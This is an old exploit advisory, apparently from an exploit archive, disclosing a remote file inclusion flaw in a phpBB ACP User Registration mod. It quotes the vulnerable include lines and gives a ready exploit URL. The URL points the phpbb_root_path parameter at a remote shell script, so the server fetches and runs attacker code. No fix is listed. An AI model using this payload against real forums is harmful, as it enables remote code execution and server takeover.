phpBB ACP User Registration Mod 1.0 File Inclusion Vulnerability

2006-10-13 00:00:00

..%%%%....%%%%...%%..%%...........%%%%...%%%%%...%%%%%%..%%...%%.
.%%......%%..%%..%%..%%..........%%..%%..%%..%%..%%......%%...%%.
..%%%%...%%..%%..%%%%%%..%%%%%%..%%......%%%%%...%%%%....%%.%.%%.
.....%%..%%..%%..%%..%%..........%%..%%..%%..%%..%%......%%%%%%%.
..%%%%....%%%%...%%..%%...........%%%%...%%..%%..%%%%%%...%%.%%..
.................................................................

phpBB ACP User Registration (MMW) Mod 1.00 File Inclusion Vulnerability


Date: 2006/10/13
Time: 18:20:57 => GMT+1:00

Founder: bd0rk || SOH-Crew
Website: www.soh-crew.it.tt
Greetz: str0ke, Perle, Tr4ileR, nukedx

Download: http://www.phpbb.com/phpBB/catdb.php?mode=download&id=1988012

Code: include_once($phpbb_root_path . 'includes/functions_validate.' . $phpEx);
include_once($phpbb_root_path . 'includes/functions_post.' . $phpEx);
include_once($phpbb_root_path . 'includes/bbcode.' . $phpEx);

[+]Exploit: http://[target]/[directory]/includes/functions_mod_user.php?phpbb_root_path=http://Sh3llScript?

#

Fixes

No fixes

In order to submit a new fix you need to be registered.